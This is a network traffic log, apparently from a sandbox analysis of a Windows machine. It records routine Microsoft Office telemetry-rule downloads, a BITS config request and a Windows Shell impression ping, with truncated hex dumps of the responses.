2024-11-24 03:20:31 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 521e5447-b191-4ee1-a180-91188faa52bf MS-RequestId: 8e4bb007-d674-4463-8f2c-e348aff22c37 MS-CV: Z+fmtyfUf0SPRwMq.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 24 Nov 2024 03:20:30 GMT Connection: close Content-Length: 24490
2024-11-24 03:20:31 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-24 03:20:31 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:30 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:30 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 29297304-901e-0083-6776-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032030Z-174c587ffdfl22mzhC1TEBk40c000000041g000000006s79 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:31 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:30 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 8017546c-101e-000b-4720-3d5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032030Z-178bfbc474bscnbchC1NYCe7eg00000005f000000000fg7f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 03:20:31 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:30 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:31 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: db42c49d-901e-007b-4a2f-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032030Z-178bfbc474b9fdhphC1NYCac0n000000059g00000000brbq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:31 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:30 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 15a67567-d01e-0066-07eb-3bea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032031Z-15b8b599d885v8r9hC1TEB104g00000003y0000000007k00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:32 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:32 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: df8835e2-601e-0002-5b4e-3ca786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032032Z-15b8b599d88phfhnhC1TEBr51n000000042g000000001w00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:33 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:32 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032033Z-174c587ffdfcj798hC1TEB9bq400000003w000000000vbeg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:32 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:33 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: bf14eb60-501e-007b-507b-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032033Z-174c587ffdfx984chC1TEB676g00000003yg000000001wnf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:33 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:32 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:33 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 95b9e869-801e-008c-3081-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032033Z-174c587ffdfgcs66hC1TEB69cs00000003q000000000fn33 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:33 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:32 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:33 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 00870788-c01e-000b-155b-3ce255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032033Z-178bfbc474bpnd5vhC1NYC4vr4000000059g00000000gn2g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:33 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49791	184.30.17.174	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:33 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-24 03:20:33 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=195201 Date: Sun, 24 Nov 2024 03:20:33 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49790	20.234.120.54	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:33 UTC	603	OUT	GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=1288324157&PG=PC000P0FR5.0000000IRU&REQASID=56ED776A4B7B426094846F6111A63AFF&UNID=338389&ASID=e9f988fdbd134eb8a29556abfc7e0908&&DS_EVTID=56ED776A4B7B426094846F6111A63AFF&DEVOSVER=10.0.19045.2006&REQT=20241124T032020&TIME=20241124T032022Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2024-11-24 03:20:34 UTC	183	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 932e90f1-1e30-4aac-9e8a-b51d641b4c00 Date: Sun, 24 Nov 2024 03:20:33 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:34 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:35 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4b4d3db7-601e-003d-0147-3c6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032035Z-178bfbc474bh5zbqhC1NYCkdug000000058000000000gs65 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
